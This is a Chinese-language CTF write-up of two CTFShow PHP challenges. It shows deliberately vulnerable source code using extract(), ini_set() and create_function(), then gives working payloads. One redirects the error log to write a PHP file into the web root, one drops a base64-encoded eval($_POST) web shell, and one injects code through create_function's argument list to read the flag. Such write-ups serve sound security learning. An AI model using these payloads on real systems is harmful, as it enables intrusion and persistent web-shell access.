CTFSHOW红包题目
红包7
题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php
highlight_file(__FILE__); error_reporting(2);
extract($_GET); ini_set($name,$value);
system( "ls '".filter($_GET[1])."'" );
function filter($cmd){ $cmd = str_replace("'","",$cmd); $cmd = str_replace("\\","",$cmd); $cmd = str_replace("`","",$cmd); $cmd = str_replace("$","",$cmd); return $cmd; }
|
这里是第一次见到了extract函数,百度之后知道了是一个赋值函数,主要用于变量覆盖方面
大致意思就是
1 2 3 4 5
| 我们传入: ?name=value 结果为: $name=value 给name进行了一波赋值
|
ini_set()函数可以对php.ini进行配置,看了wp之后知道这题是需要更改报错日志路径进而写入恶意命令
1 2 3 4 5
| payload1: ?name=error_log&value=/var/www/html/1.php&1=%00<?php system("cat /f*");?> 这里还用到了一个技巧,系统命令可以使用%00进行截断,进而触发报错,而报错会把所有的报错信息全部写入报错日志当中,而我们可以通过ini_set修改报错日志的储存路径,进而实现了恶意命令的写入。类似于包含日志。 payload2: ?name=error_log&value=/var/www/html/2.php&1=%00<?php system("echo 'PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=' | base64 -d > /var/www/html/chu1.php"); ?>
|
红包8
源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php
highlight_file(__FILE__); error_reporting(0);
extract($_GET); create_function($name,base64_encode($value))();
|
这道题目主要考察的是create_function()的做法,之前接触过两个相关题目,不过都是在第二个参数上做文章,多次测试之后发现由于base64编码的限制似乎无计可施,尝试所有该编码函数的漏洞,没查到。最后一招,摇人。得到了payload,后续网上搜得到了以下博客:https://blog.csdn.net/soldi_er/article/details/116244642?csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22116244642%22%2C%22source%22%3A%22m0_74044466%22%7D&fromshare=blogdetail
这里是在第一个参数上做文章,举例
1 2 3 4 5 6 7 8 9 10 11 12 13
| create_function("$a=123","return 1;")
该函数处理之后将会得到以下匿名函数
name1($a=123){ return 1 }
这里我们就可以在第一个参数的位置进行闭合 name=$name=123){}phpinfo() 这个时候就可以执行任意php代码啦 ?name=$name=123){}system("cat /f*") 得到flag
|